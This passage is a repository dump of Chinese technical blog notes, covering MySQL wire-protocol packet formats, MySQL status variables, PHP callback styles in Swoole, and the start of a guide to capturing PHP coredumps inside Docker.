COM_TIME | (内部线程状态) | (无) | 181 | | 0x10 | COM_DELAYED_INSERT | (内部线程状态) | (无) | 182 | | 0x11 | COM_CHANGE_USER | 重新登陆(不断连接) | mysql_change_user | 183 | | 0x12 | COM_BINLOG_DUMP | 获取二进制日志信息 | (无) | 184 | | 0x13 | COM_TABLE_DUMP | 获取数据表结构信息 | (无) | 185 | | 0x14 | COM_CONNECT_OUT | (内部线程状态) | (无) | 186 | | 0x15 | COM_REGISTER_SLAVE | 从服务器向主服务器进行注册 | (无) | 187 | | 0x16 | COM_STMT_PREPARE | 预处理SQL语句 | mysql_stmt_prepare | 188 | | 0x17 | COM_STMT_EXECUTE | 执行预处理语句 | mysql_stmt_execute | 189 | | 0x18 | COM_STMT_SEND_LONG_DATA | 发送BLOB类型的数据 | mysql_stmt_send_long_data | 190 | | 0x19 | COM_STMT_CLOSE | 销毁预处理语句 | mysql_stmt_close | 191 | | 0x1A | COM_STMT_RESET | 清除预处理语句参数缓存 | mysql_stmt_reset | 192 | | 0x1B | COM_SET_OPTION | 设置语句选项 | mysql_set_server_option | 193 | | 0x1C | COM_STMT_FETCH | 获取预处理语句的执行结果 | mysql_stmt_fetch | 194 | 195 | **参数**:内容是用户在MySQL客户端输入的命令(不包括每行命令结尾的";"分号)。另外这个字段的字符串不是以NULL字符结尾,而是通过消息头中的长度值计算而来。 196 | 197 | 例如:当我们在MySQL客户端中执行`use hutaow;`命令时(切换到`hutaow`数据库),发送的请求报文数据会是下面的样子: 198 | 199 | ``` 200 | 0x02 0x68 0x75 0x74 0x61 0x6f 0x77 201 | ``` 202 | 203 | 其中,`0x02`为请求类型值`COM_INIT_DB`,后面的`0x68 0x75 0x74 0x61 0x6f 0x77`为ASCII字符`hutaow`。 204 | 205 | #### 4.2.1 COM_QUIT 消息报文 206 | 207 | **功能**:关闭当前连接(客户端退出),无参数。 208 | 209 | #### 4.2.2 COM_INIT_DB 消息报文 210 | 211 | **功能**:切换数据库,对应的SQL语句为`USE `。 212 | 213 | | 字节 | 说明 | 214 | | ---- | ------------------------------------------------ | 215 | | n | 数据库名称(字符串到达消息尾部时结束,无结束符) | 216 | 217 | #### 4.2.3 COM_QUERY 消息报文 218 | 219 | **功能**:最常见的请求消息类型,当用户执行SQL语句时发送该消息。 220 | 221 | | 字节 | 说明 | 222 | | ---- | --------------------------------------------- | 223 | | n | SQL语句(字符串到达消息尾部时结束,无结束符) | 224 | 225 | #### 4.2.4 COM_FIELD_LIST 消息报文 226 | 227 | **功能**:查询某表的字段(列)信息,等同于SQL语句`SHOW [FULL] FIELDS FROM ...`。 228 | 229 | | 字节 | 说明 | 230 | | ---- | ---------------------------------- | 231 | | n | 表格名称(Null-Terminated String) | 232 | | n | 字段(列)名称或通配符(可选) | 233 | 234 | #### 4.2.5 COM_CREATE_DB 消息报文 235 | 236 | **功能**:创建数据库,该消息已过时,而被SQL语句`CREATE DATABASE`代替。 237 | 238 | | 字节 | 说明 | 239 | | ---- | ------------------------------------------------ | 240 | | n | 数据库名称(字符串到达消息尾部时结束,无结束符) | 241 | 242 | #### 4.2.6 COM_DROP_DB 消息报文 243 | 244 | **功能**:删除数据库,该消息已过时,而被SQL语句`DROP DATABASE`代替。 245 | 246 | | 字节 | 说明 | 247 | | ---- | ------------------------------------------------ | 248 | | n | 数据库名称(字符串到达消息尾部时结束,无结束符) | 249 | 250 | #### 4.2.7 COM_REFRESH 消息报文 251 | 252 | **功能**:清除缓存,等同于SQL语句`FLUSH`,或是执行`mysqladmin flush-foo`命令时发送该消息。 253 | 254 | | 字节 | 说明 | 255 | | ---- | ---------------------------------------------- | 256 | | 1 | 清除缓存选项(位图方式存储,各标志位含义如下) | 257 | | | 0x01: REFRESH_GRANT | 258 | | | 0x02: REFRESH_LOG | 259 | | | 0x04: REFRESH_TABLES | 260 | | | 0x08: REFRESH_HOSTS | 261 | | | 0x10: REFRESH_STATUS | 262 | | | 0x20: REFRESH_THREADS | 263 | | | 0x40: REFRESH_SLAVE | 264 | | | 0x80: REFRESH_MASTER | 265 | 266 | #### 4.2.8 COM_SHUTDOWN 消息报文 267 | 268 | **功能**:停止MySQL服务。执行`mysqladmin shutdown`命令时发送该消息。 269 | 270 | | 字节 | 说明 | 271 | | ---- | ------------------------------------ | 272 | | 1 | 停止服务选项 | 273 | | | 0x00: SHUTDOWN_DEFAULT | 274 | | | 0x01: SHUTDOWN_WAIT_CONNECTIONS | 275 | | | 0x02: SHUTDOWN_WAIT_TRANSACTIONS | 276 | | | 0x08: SHUTDOWN_WAIT_UPDATES | 277 | | | 0x10: SHUTDOWN_WAIT_ALL_BUFFERS | 278 | | | 0x11: SHUTDOWN_WAIT_CRITICAL_BUFFERS | 279 | | | 0xFE: KILL_QUERY | 280 | | | 0xFF: KILL_CONNECTION | 281 | 282 | #### 4.2.9 COM_STATISTICS 消息报文 283 | 284 | **功能**:查看MySQL服务的统计信息(例如运行时间、每秒查询次数等)。执行`mysqladmin status`命令时发送该消息,无参数。 285 | 286 | #### 4.2.10 COM_PROCESS_INFO 消息报文 287 | 288 | **功能**:获取当前活动的线程(连接)列表。等同于SQL语句`SHOW PROCESSLIST`,或是执行`mysqladmin processlist`命令时发送该消息,无参数。 289 | 290 | #### 4.2.11 COM_PROCESS_KILL 消息报文 291 | 292 | **功能**:要求服务器中断某个连接。等同于SQL语句`KILL `。 293 | 294 | | 字节 | 说明 | 295 | | ---- | -------------------- | 296 | | 4 | 连接ID号(小字节序) | 297 | 298 | #### 4.2.12 COM_DEBUG 消息报文 299 | 300 | **功能**:要求服务器将调试信息保存下来,保存的信息多少依赖于编译选项设置(debug=no|yes|full)。执行`mysqladmin debug`命令时发送该消息,无参数。 301 | 302 | #### 4.2.13 COM_PING 消息报文 303 | 304 | **功能**:该消息用来测试连通性,同时会将服务器的无效连接(超时)计数器清零。执行`mysqladmin ping`命令时发送该消息,无参数。 305 | 306 | #### 4.2.14 COM_CHANGE_USER 消息报文 307 | 308 | **功能**:在不断连接的情况下重新登陆,该操作会销毁MySQL服务器端的会话上下文(包括临时表、会话变量等)。有些连接池用这种方法实现清除会话上下文。 309 | 310 | | 字节 | 说明 | 311 | | ---- | ---------------------------------------------------- | 312 | | n | 用户名(字符串以NULL结尾) | 313 | | n | 密码(挑战数) | 314 | | | MySQL 3.23 版本:Null-Terminated String(长度9字节) | 315 | | | MySQL 4.1 版本:Length Coded String(长度1+21字节) | 316 | | n | 数据库名称(Null-Terminated String) | 317 | | 2 | 字符编码 | 318 | 319 | #### 4.2.15 COM_BINLOG_DUMP 消息报文 320 | 321 | **功能**:该消息是备份连接时由从服务器向主服务器发送的最后一个请求,主服务器收到后,会响应一系列的报文,每个报文都包含一个二进制日志事件。如果主服务器出现故障时,会发送一个EOF报文。 322 | 323 | | 字节 | 说明 | 324 | | ---- | ------------------------------------------------------------ | 325 | | 4 | 二进制日志数据的起始位置(小字节序) | 326 | | 4 | 二进制日志数据标志位(目前未使用,永远为0x00) | 327 | | 4 | 从服务器的服务器ID值(小字节序) | 328 | | n | 二进制日志的文件名称(可选,默认值为主服务器上第一个有效的文件名) | 329 | 330 | #### 4.2.16 COM_TABLE_DUMP 消息报文 331 | 332 | **功能**:将数据表从主服务器复制到从服务器中,执行SQL语句`LOAD TABLE ... FROM MASTER`时发送该消息。目前该消息已过时,不再使用。 333 | 334 | | 字节 | 说明 | 335 | | ---- | --------------------------------- | 336 | | n | 数据库名称(Length Coded String) | 337 | | n | 数据表名称(Length Coded String) | 338 | 339 | #### 4.2.17 COM_REGISTER_SLAVE 消息报文 340 | 341 | **功能**:在从服务器`report_host`变量设置的情况下,当备份连接时向主服务器发送的注册消息。 342 | 343 | | 字节 | 说明 | 344 | | ---- | ------------------------------------------------------------ | 345 | | 4 | 从服务器ID值(小字节序) | 346 | | n | 主服务器IP地址(Length Coded String) | 347 | | n | 主服务器用户名(Length Coded String) | 348 | | n | 主服务器密码(Length Coded String) | 349 | | 2 | 主服务器端口号 | 350 | | 4 | 安全备份级别(由MySQL服务器`rpl_recovery_rank`变量设置,暂时未使用) | 351 | | 4 | 主服务器ID值(值恒为0x00) | 352 | 353 | #### 4.2.18 COM_PREPARE 消息报文 354 | 355 | **功能**:预处理SQL语句,使用带有"?"占位符的SQL语句时发送该消息。 356 | 357 | | 字节 | 说明 | 358 | | ---- | ------------------------------------------------------------ | 359 | | n | 带有"?"占位符的SQL语句(字符串到达消息尾部时结束,无结束符) | 360 | 361 | #### 4.2.19 COM_EXECUTE 消息报文 362 | 363 | **功能**:执行预处理语句。 364 | 365 | | 字节 | 说明 | 366 | | --------------------- | ----------------------------------------------------- | 367 | | 4 | 预处理语句的ID值 | 368 | | 1 | 标志位 | 369 | | | 0x00: CURSOR_TYPE_NO_CURSOR | 370 | | | 0x01: CURSOR_TYPE_READ_ONLY | 371 | | | 0x02: CURSOR_TYPE_FOR_UPDATE | 372 | | | 0x04: CURSOR_TYPE_SCROLLABLE | 373 | | 4 | 保留(值恒为0x01) | 374 | | 如果参数数量大于0 | | 375 | | n | 空位图(Null-Bitmap,长度 = (参数数量 + 7) / 8 字节) | 376 | | 1 | 参数分隔标志 | 377 | | 如果参数分隔标志值为1 | | 378 | | n | 每个参数的类型值(长度 = 参数数量 * 2 字节) | 379 | | n | 每个参数的值 | 380 | 381 | #### 4.2.20 COM_LONG_DATA 消息报文 382 | 383 | 该消息报文有两种形式,一种用于发送二进制数据,另一种用于发送文本数据。 384 | 385 | **功能**:用于发送二进制(BLOB)类型的数据(调用`mysql_stmt_send_long_data`函数)。 386 | 387 | | 字节 | 说明 | 388 | | ---- | -------------------------------------------- | 389 | | 4 | 预处理语句的ID值(小字节序) | 390 | | 2 | 参数序号(小字节序) | 391 | | n | 数据负载(数据到达消息尾部时结束,无结束符) | 392 | 393 | **功能**:用于发送超长字符串类型的数据(调用`mysql_send_long_data`函数) 394 | 395 | | 字节 | 说明 | 396 | | ---- | -------------------------------------------- | 397 | | 4 | 预处理语句的ID值(小字节序) | 398 | | 2 | 参数序号(小字节序) | 399 | | 2 | 数据类型(未使用) | 400 | | n | 数据负载(数据到达消息尾部时结束,无结束符) | 401 | 402 | #### 4.2.21 COM_CLOSE_STMT 消息报文 403 | 404 | **功能**:销毁预处理语句。 405 | 406 | | 字节 | 说明 | 407 | | ---- | ---------------------------- | 408 | | 4 | 预处理语句的ID值(小字节序) | 409 | 410 | #### 4.2.22 COM_RESET_STMT 消息报文 411 | 412 | **功能**:将预处理语句的参数缓存清空。多数情况和`COM_LONG_DATA`一起使用。 413 | 414 | | 字节 | 说明 | 415 | | ---- | ---------------------------- | 416 | | 4 | 预处理语句的ID值(小字节序) | 417 | 418 | #### 4.2.23 COM_SET_OPTION 消息报文 419 | 420 | **功能**:设置语句选项,选项值为`/include/mysql_com.h`头文件中定义的`enum_mysql_set_option`枚举类型: 421 | 422 | - MYSQL_OPTION_MULTI_STATEMENTS_ON 423 | - MYSQL_OPTION_MULTI_STATEMENTS_OFF 424 | 425 | | 字节 | 说明 | 426 | | ---- | ------------------ | 427 | | 2 | 选项值(小字节序) | 428 | 429 | #### 4.2.24 COM_FETCH_STMT 消息报文 430 | 431 | **功能**:获取预处理语句的执行结果(一次可以获取多行数据)。 432 | 433 | | 字节 | 说明 | 434 | | ---- | ---------------------------- | 435 | | 4 | 预处理语句的ID值(小字节序) | 436 | | 4 | 数据的行数(小字节序) | 437 | 438 | ### 4.3 服务器响应报文(服务器 -> 客户端) 439 | 440 | 当客户端发起认证请求或命令请求后,服务器会返回相应的执行结果给客户端。客户端在收到响应报文后,需要首先检查第1个字节的值,来区分响应报文的类型。 441 | 442 | | 响应报文类型 | 第1个字节取值范围 | 443 | | --------------- | ----------------- | 444 | | OK 响应报文 | 0x00 | 445 | | Error 响应报文 | 0xFF | 446 | | Result Set 报文 | 0x01 - 0xFA | 447 | | Field 报文 | 0x01 - 0xFA | 448 | | Row Data 报文 | 0x01 - 0xFA | 449 | | EOF 报文 | 0xFE | 450 | 451 | 注:响应报文的第1个字节在不同类型中含义不同,比如在OK报文中,该字节并没有实际意义,值恒为0x00;而在Result Set报文中,该字节又是长度编码的二进制数据结构(Length Coded Binary)中的第1字节。 452 | 453 | #### 4.3.1 OK 响应报文 454 | 455 | 客户端的命令执行正确时,服务器会返回OK响应报文。 456 | 457 | **MySQL 4.0 及之前的版本** 458 | 459 | | 字节 | 说明 | 460 | | ---- | ------------------------------------------------ | 461 | | 1 | OK报文,值恒为0x00 | 462 | | 1-9 | 受影响行数(Length Coded Binary) | 463 | | 1-9 | 索引ID值(Length Coded Binary) | 464 | | 2 | 服务器状态 | 465 | | n | 服务器消息(字符串到达消息尾部时结束,无结束符) | 466 | 467 | **MySQL 4.1 及之后的版本** 468 | 469 | | 字节 | 说明 | 470 | | ---- | ------------------------------------------------------ | 471 | | 1 | OK报文,值恒为0x00 | 472 | | 1-9 | 受影响行数(Length Coded Binary) | 473 | | 1-9 | 索引ID值(Length Coded Binary) | 474 | | 2 | 服务器状态 | 475 | | 2 | 告警计数 | 476 | | n | 服务器消息(字符串到达消息尾部时结束,无结束符,可选) | 477 | 478 | **受影响行数**:当执行`INSERT`/`UPDATE`/`DELETE`语句时所影响的数据行数。 479 | 480 | **索引ID值**:该值为`AUTO_INCREMENT`索引字段生成,如果没有索引字段,则为0x00。注意:当`INSERT`插入语句为多行数据时,该索引ID值为第一个插入的数据行索引值,而非最后一个。 481 | 482 | **服务器状态**:客户端可以通过该值检查命令是否在事务处理中。 483 | 484 | **告警计数**:告警发生的次数。 485 | 486 | **服务器消息**:服务器返回给客户端的消息,一般为简单的描述性字符串,可选字段。 487 | 488 | #### 4.3.2 Error 响应报文 489 | 490 | **MySQL 4.0 及之前的版本** 491 | 492 | | 字节 | 说明 | 493 | | ---- | --------------------- | 494 | | 1 | Error报文,值恒为0xFF | 495 | | 2 | 错误编号(小字节序) | 496 | | n | 服务器消息 | 497 | 498 | **MySQL 4.1 及之后的版本** 499 | 500 | | 字节 | 说明 | 501 | | ---- | --------------------------- | 502 | | 1 | Error报文,值恒为0xFF | 503 | | 2 | 错误编号(小字节序) | 504 | | 1 | 服务器状态标志,恒为'#'字符 | 505 | | 5 | 服务器状态(5个字符) | 506 | | n | 服务器消息 | 507 | 508 | **错误编号**:错误编号值定义在源代码`/include/mysqld_error.h`头文件中。 509 | 510 | **服务器状态**:服务器将错误编号通过`mysql_errno_to_sqlstate`函数转换为状态值,状态值由5字节的ASCII字符组成,定义在源代码`/include/sql_state.h`头文件中。 511 | 512 | **服务器消息**:错误消息字符串到达消息尾时结束,长度可以由消息头中的长度值计算得出。消息长度为0-512字节。 513 | 514 | #### 4.3.3 Result Set 消息 515 | 516 | 当客户端发送查询请求后,在没有错误的情况下,服务器会返回结果集(Result Set)给客户端。 517 | 518 | Result Set 消息分为五部分,结构如下: 519 | 520 | | 结构 | 说明 | 521 | | ------------------- | -------------- | 522 | | [Result Set Header] | 列数量 | 523 | | [Field] | 列信息(多个) | 524 | | [EOF] | 列结束 | 525 | | [Row Data] | 行数据(多个) | 526 | | [EOF] | 数据结束 | 527 | 528 | #### 4.3.4 Result Set Header 结构 529 | 530 | | 字节 | 说明 | 531 | | ---- | ------------------------------------ | 532 | | 1-9 | Field结构计数(Length Coded Binary) | 533 | | 1-9 | 额外信息(Length Coded Binary) | 534 | 535 | **Field结构计数**:用于标识Field结构的数量,取值范围0x00-0xFA。 536 | 537 | **额外信息**:可选字段,一般情况下不应该出现。只有像`SHOW COLUMNS`这种语句的执行结果才会用到额外信息(标识表格的列数量)。 538 | 539 | #### 4.3.5 Field 结构 540 | 541 | Field为数据表的列信息,在Result Set中,Field会连续出现多次,次数由Result Set Header结构中的IField结构计数值决定。 542 | 543 | **MySQL 4.0 及之前的版本** 544 | 545 | | 字节 | 说明 | 546 | | ---- | ------------------------------------- | 547 | | n | 数据表名称(Length Coded String) | 548 | | n | 列(字段)名称(Length Coded String) | 549 | | 4 | 列(字段)长度(Length Coded String) | 550 | | 2 | 列(字段)类型(Length Coded String) | 551 | | 2 | 列(字段)标志(Length Coded String) | 552 | | 1 | 整型值精度 | 553 | | n | 默认值(Length Coded String) | 554 | 555 | **MySQL 4.1 及之后的版本** 556 | 557 | | 字节 | 说明 | 558 | | ---- | ----------------------------------------- | 559 | | n | 目录名称(Length Coded String) | 560 | | n | 数据库名称(Length Coded String) | 561 | | n | 数据表名称(Length Coded String) | 562 | | n | 数据表原始名称(Length Coded String) | 563 | | n | 列(字段)名称(Length Coded String) | 564 | | 4 | 列(字段)原始名称(Length Coded String) | 565 | | 1 | 填充值 | 566 | | 2 | 字符编码 | 567 | | 4 | 列(字段)长度 | 568 | | 1 | 列(字段)类型 | 569 | | 2 | 列(字段)标志 | 570 | | 1 | 整型值精度 | 571 | | 2 | 填充值(0x00) | 572 | | n | 默认值(Length Coded String) | 573 | 574 | **目录名称**:在4.1及之后的版本中,该字段值为"def"。 575 | 576 | **数据库名称**:数据库名称标识。 577 | 578 | **数据表名称**:数据表的别名(`AS`之后的名称)。 579 | 580 | **数据表原始名称**:数据表的原始名称(`AS`之前的名称)。 581 | 582 | **列(字段)名称**:列(字段)的别名(`AS`之后的名称)。 583 | 584 | **列(字段)原始名称**:列(字段)的原始名称(`AS`之前的名称)。 585 | 586 | **字符编码**:列(字段)的字符编码值。 587 | 588 | **列(字段)长度**:列(字段)的长度值,真实长度可能小于该值,例如`VARCHAR(2)`类型的字段实际只能存储1个字符。 589 | 590 | **列(字段)类型**:列(字段)的类型值,取值范围如下(参考源代码`/include/mysql_com.h`头文件中的`enum_field_type`枚举类型定义): 591 | 592 | | 类型值 | 名称 | 593 | | ------ | ---------------------------------------- | 594 | | 0x00 | FIELD_TYPE_DECIMAL | 595 | | 0x01 | FIELD_TYPE_TINY | 596 | | 0x02 | FIELD_TYPE_SHORT | 597 | | 0x03 | FIELD_TYPE_LONG | 598 | | 0x04 | FIELD_TYPE_FLOAT | 599 | | 0x05 | FIELD_TYPE_DOUBLE | 600 | | 0x06 | FIELD_TYPE_NULL | 601 | | 0x07 | FIELD_TYPE_TIMESTAMP | 602 | | 0x08 | FIELD_TYPE_LONGLONG | 603 | | 0x09 | FIELD_TYPE_INT24 | 604 | | 0x0A | FIELD_TYPE_DATE | 605 | | 0x0B | FIELD_TYPE_TIME | 606 | | 0x0C | FIELD_TYPE_DATETIME | 607 | | 0x0D | FIELD_TYPE_YEAR | 608 | | 0x0E | FIELD_TYPE_NEWDATE | 609 | | 0x0F | FIELD_TYPE_VARCHAR (new in MySQL 5.0) | 610 | | 0x10 | FIELD_TYPE_BIT (new in MySQL 5.0) | 611 | | 0xF6 | FIELD_TYPE_NEWDECIMAL (new in MYSQL 5.0) | 612 | | 0xF7 | FIELD_TYPE_ENUM | 613 | | 0xF8 | FIELD_TYPE_SET | 614 | | 0xF9 | FIELD_TYPE_TINY_BLOB | 615 | | 0xFA | FIELD_TYPE_MEDIUM_BLOB | 616 | | 0xFB | FIELD_TYPE_LONG_BLOB | 617 | | 0xFC | FIELD_TYPE_BLOB | 618 | | 0xFD | FIELD_TYPE_VAR_STRING | 619 | | 0xFE | FIELD_TYPE_STRING | 620 | | 0xFF | FIELD_TYPE_GEOMETRY | 621 | 622 | **列(字段)标志**:各标志位定义如下(参考源代码`/include/mysql_com.h`头文件中的宏定义): 623 | 624 | | 标志位 | 名称 | 625 | | ------ | ------------------- | 626 | | 0x0001 | NOT_NULL_FLAG | 627 | | 0x0002 | PRI_KEY_FLAG | 628 | | 0x0004 | UNIQUE_KEY_FLAG | 629 | | 0x0008 | MULTIPLE_KEY_FLAG | 630 | | 0x0010 | BLOB_FLAG | 631 | | 0x0020 | UNSIGNED_FLAG | 632 | | 0x0040 | ZEROFILL_FLAG | 633 | | 0x0080 | BINARY_FLAG | 634 | | 0x0100 | ENUM_FLAG | 635 | | 0x0200 | AUTO_INCREMENT_FLAG | 636 | | 0x0400 | TIMESTAMP_FLAG | 637 | | 0x0800 | SET_FLAG | 638 | 639 | **数值精度**:该字段对`DECIMAL`和`NUMERIC`类型的数值字段有效,用于标识数值的精度(小数点位置)。 640 | 641 | **默认值**:该字段用在数据表定义中,普通的查询结果中不会出现。 642 | 643 | **附**:Field结构的相关处理函数: 644 | 645 | - 客户端:`/client/client.c`源文件中的`unpack_fields`函数 646 | - 服务器:`/sql/sql_base.cc`源文件中的`send_fields`函数 647 | 648 | #### 4.3.6 EOF 结构 649 | 650 | EOF结构用于标识Field和Row Data的结束,在预处理语句中,EOF也被用来标识参数的结束。 651 | 652 | **MySQL 4.0 及之前的版本** 653 | 654 | | 字节 | 说明 | 655 | | ---- | ------------- | 656 | | 1 | EOF值(0xFE) | 657 | 658 | **MySQL 4.1 及之后的版本** 659 | 660 | | 字节 | 说明 | 661 | | ---- | ------------- | 662 | | 1 | EOF值(0xFE) | 663 | | 2 | 告警计数 | 664 | | 2 | 状态标志位 | 665 | 666 | **告警计数**:服务器告警数量,在所有数据都发送给客户端后该值才有效。 667 | 668 | **状态标志位**:包含类似`SERVER_MORE_RESULTS_EXISTS`这样的标志位。 669 | 670 | **注**:由于EOF值与其它Result Set结构共用1字节,所以在收到报文后需要对EOF包的真实性进行校验,校验条件为: 671 | 672 | - 第1字节值为0xFE 673 | - 包长度小于9字节 674 | 675 | **附**:EOF结构的相关处理函数: 676 | 677 | - 服务器:`protocol.cc`源文件中的`send_eof`函数 678 | 679 | #### 4.3.7 Row Data 结构 680 | 681 | 在Result Set消息中,会包含多个Row Data结构,每个Row Data结构又包含多个字段值,这些字段值组成一行数据。 682 | 683 | | 字节 | 说明 | 684 | | ---- | ----------------------------- | 685 | | n | 字段值(Length Coded String) | 686 | | ... | (一行数据中包含多个字段值) | 687 | 688 | **字段值**:行数据中的字段值,字符串形式。 689 | 690 | **附**:Row Data结构的相关处理函数: 691 | 692 | - 客户端:`/client/client.c`源文件中的`read_rows`函数 693 | 694 | #### 4.3.8 Row Data 结构(二进制数据) 695 | 696 | 该结构用于传输二进制的字段值,既可以是服务器返回的结果,也可以是由客户端发送的(当执行预处理语句时,客户端使用Result Set消息来发送参数及数据)。 697 | 698 | | 字节 | 说明 | 699 | | -------------------- | ---------------------------- | 700 | | 1 | 结构头(0x00) | 701 | | (列数量 + 7 + 2) / 8 | 空位图 | 702 | | n | 字段值 | 703 | | ... | (一行数据中包含多个字段值) | 704 | 705 | **空位图**:前2个比特位被保留,值分别为0和1,以保证不会和OK、Error包的首字节冲突。在MySQL 5.0及之后的版本中,这2个比特位的值都为0。 706 | 707 | **字段值**:行数据中的字段值,二进制形式。 708 | 709 | #### 4.3.9 PREPARE_OK 响应报文(Prepared Statement) 710 | 711 | 用于响应客户端发起的预处理语句报文,组成结构如下: 712 | 713 | | 结构 | 说明 | 714 | | ----------------- | ------------------------ | 715 | | [PREPARE_OK] | PREPARE_OK结构 | 716 | | 如果参数数量大于0 | | 717 | | [Field] | 与Result Set消息结构相同 | 718 | | [EOF] | | 719 | | 如果列数大于0 | | 720 | | [Field] | 与Result Set消息结构相同 | 721 | | [EOF] | | 722 | 723 | 其中 PREPARD_OK 的结构如下: 724 | 725 | | 字节 | 说明 | 726 | | ---- | ---------------- | 727 | | 1 | OK报文,值为0x00 | 728 | | 4 | 预处理语句ID值 | 729 | | 2 | 列数量 | 730 | | 2 | 参数数量 | 731 | | 1 | 填充值(0x00) | 732 | | 2 | 告警计数 | 733 | 734 | #### 4.3.10 Parameter 响应报文(Prepared Statement) 735 | 736 | 预处理语句的值与参数正确对应后,服务器会返回 Parameter 报文。 737 | 738 | | 字节 | 说明 | 739 | | ---- | -------- | 740 | | 2 | 类型 | 741 | | 2 | 标志 | 742 | | 1 | 数值精度 | 743 | | 4 | 字段长度 | 744 | 745 | **类型**:与 Field 结构中的字段类型相同。 746 | 747 | **标志**:与 Field 结构中的字段标志相同。 748 | 749 | **数值精度**:与 Field 结构中的数值精度相同。 750 | 751 | **字段长度**:与 Field 结构中的字段长度相同。 752 | 753 | 754 | 755 | ## 5 参考资料 756 | 757 | 《[MySQL Internals Manual](http://dev.mysql.com/doc/internals/en/index.html): [MySQL Client/Server Protocol](http://dev.mysql.com/doc/internals/en/client-server-protocol.html)》 758 | 759 | ## 来源 760 | http://hutaow.com/blog/2013/11/06/mysql-protocol-analysis/ -------------------------------------------------------------------------------- /_/mysql-status-check.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[整理]MySQL查看连接数以及状态" 3 | date: 2018-05-12 11:05:53 4 | tags: mysql 5 | --- 6 | 7 | ## Connections 8 | 9 | **命令:` show processlist;`** 10 | **如果是root帐号,你能看到所有用户的当前连接。如果是其它普通帐号,只能看到自己占用的连接。** 11 | `show processlist`只列出前100条 12 | 13 | 如果想全列出请使用**`show full processlist;`** 14 | 15 | ```mysql 16 | mysql> show processlist; 17 | ``` 18 | 19 | ## Status 20 | 21 | **命令: `show status;`** 22 | 23 | **命令:`show status like '%下面变量%';`** 24 | 25 | 26 | 27 | | 关键字 | 说明 | 28 | | ------ | ---- | 29 | |Aborted_clients|由于客户没有正确关闭连接已经死掉,已经放弃的连接数量。| 30 | |Aborted_connects|尝试已经失败的MySQL服务器的连接的次数。| 31 | |Connections|试图连接MySQL服务器的次数。| 32 | |Created_tmp_tables|当执行语句时,已经被创造了的隐含临时表的数量。| 33 | |Delayed_insert_threads|正在使用的延迟插入处理器线程的数量。| 34 | |Delayed_writes|用INSERT/DELAYED写入的行数。| 35 | |Delayed_errors|用INSERT/DELAYED写入的发生某些错误(可能重复键值)的行数。| 36 | |Flush_commands|执行FLUSH命令的次数。| 37 | |Handler_delete|请求从一张表中删除行的次数。| 38 | |Handler_read_first|请求读入表中第一行的次数。| 39 | |Handler_read_key|请求数字基于键读行。| 40 | |Handler_read_next|请求读入基于一个键的一行的次数。| 41 | |Handler_read_rnd|请求读入基于一个固定位置的一行的次数。| 42 | |Handler_update|请求更新表中一行的次数。| 43 | |Handler_write|请求向表中插入一行的次数。| 44 | |Key_blocks_used|用于关键字缓存的块的数量。| 45 | |Key_read_requests|请求从缓存读入一个键值的次数。| 46 | |Key_reads|从磁盘物理读入一个键值的次数。| 47 | |Key_write_requests|请求将一个关键字块写入缓存次数。| 48 | |Key_writes|将一个键值块物理写入磁盘的次数。| 49 | |Max_used_connections|同时使用的连接的最大数目。| 50 | |Not_flushed_key_blocks|在键缓存中已经改变但是还没被清空到磁盘上的键块。| 51 | |Not_flushed_delayed_rows|在INSERT/DELAY队列中等待写入的行的数量。| 52 | |Open_tables|打开表的数量。| 53 | |Open_files|打开文件的数量。| 54 | |Open_streams|打开流的数量(主要用于日志记载)| 55 | |Opened_tables|已经打开的表的数量。| 56 | |Questions|发往服务器的查询的数量。| 57 | |Slow_queries|要花超过long_query_time时间的查询数量。| 58 | |Threads_connected|当前打开的连接的数量。| 59 | |Threads_running|不在睡眠的线程数量。| 60 | |Uptime|服务器工作了多少秒。| 61 | 62 | -------------------------------------------------------------------------------- /_/php-callback.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[转] 4种PHP回调函数" 3 | date: 2018-01-04 05:47:33 4 | tags: php 5 | --- 6 | 7 | > 以Swoole服务事件回调为例 8 | 9 | ## 匿名函数 10 | 11 | ```Php 12 | $server->on('Request', function ($req, $resp) { 13 | echo "hello world"; 14 | }); 15 | ``` 16 | 17 | ## 类静态方法 18 | 19 | ```Php 20 | class A { 21 | static function test($req, $resp){ 22 | echo "hello world"; 23 | } 24 | } 25 | $server->on('Request', 'A::Test'); 26 | $server->on('Request', array('A', 'Test')); 27 | ``` 28 | 29 | ## 函数 30 | 31 | ```php 32 | function my_onRequest($req, $resp){ 33 | echo "hello world"; 34 | } 35 | $server->on('Request', 'my_onRequest'); 36 | ``` 37 | 38 | ## 对象方法 39 | 40 | ```PHP 41 | class A { 42 | function test($req, $resp){ 43 | echo "hello world"; 44 | } 45 | } 46 | 47 | $object = new A(); 48 | $server->on('Request', array($object, 'test')); 49 | ``` -------------------------------------------------------------------------------- /_/php-coredump-in-docker.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 在Docker中处理coredump && PHP-coredump与gdb使用 3 | date: 2018-03-04 21:03:01 4 | tags: [coredump,docker,php] 5 | --- 6 | 7 | 前几天在计划写一个爬虫脚本时, 由于涉及到html的浏览器渲染, 干脆用就用浏览器和控制台运行js脚本来作为爬虫工具, chrome支持ES6语法(有些需要在dev设置中开启), 写起来也是十分舒服, 爬完数据并处理过后通过xhr扔给后端服务器即可, 后端是用Swoole负责接收并向数据库进行大文本插入, 不幸的是在这时候错误出现了. 8 | 9 | 在数千个请求后nginx代理的后端挂掉了,返回了502BadGateWay,肯定要去上游找原因了,由于swoole是跑在docker容器中的, 于是马上查看容器日志 10 | 11 | ```Bash 12 | $ docker logs custed_swoole_1 --tail 100 13 | ``` 14 | 15 | 可以看到如下报错 16 | 17 | ```bash 18 | $ WARNING swProcessPool_wait: worker#0 abnormal exit, status=0, signal=11 19 | ``` 20 | 21 | google了一下没找到相关问题, 只能请教rango, 说是signal11是coredump了, 让我抓一下core文件 22 | 23 | 然后就开始踩坑了, 我的服务是运行在docker中的, docker里要抓core文件需要一波操作了... 24 | 25 | 废话不多说直接总结一下坑 26 | 27 | #### 1. 开启容器特权 28 | 29 | 没有特权模式, 容器里就无法使用gdb调试 30 | 31 | 我用的是docker-compose 所以配置里需要加这么一行 32 | 33 | ```yaml 34 | privileged: true 35 | ``` 36 | 37 | 如果是run的话, 加: 38 | 39 | ```Bash 40 | --privileged 41 | ``` 42 | 43 | 44 | 45 | #### 2.开启coredump文件配置 46 | 47 | ```Yaml 48 | ulimits: 49 | core: -1 # core_dump debug 50 | ``` 51 | 52 | ```Bash 53 | --ulimit core=-1 54 | ``` 55 | 56 | 57 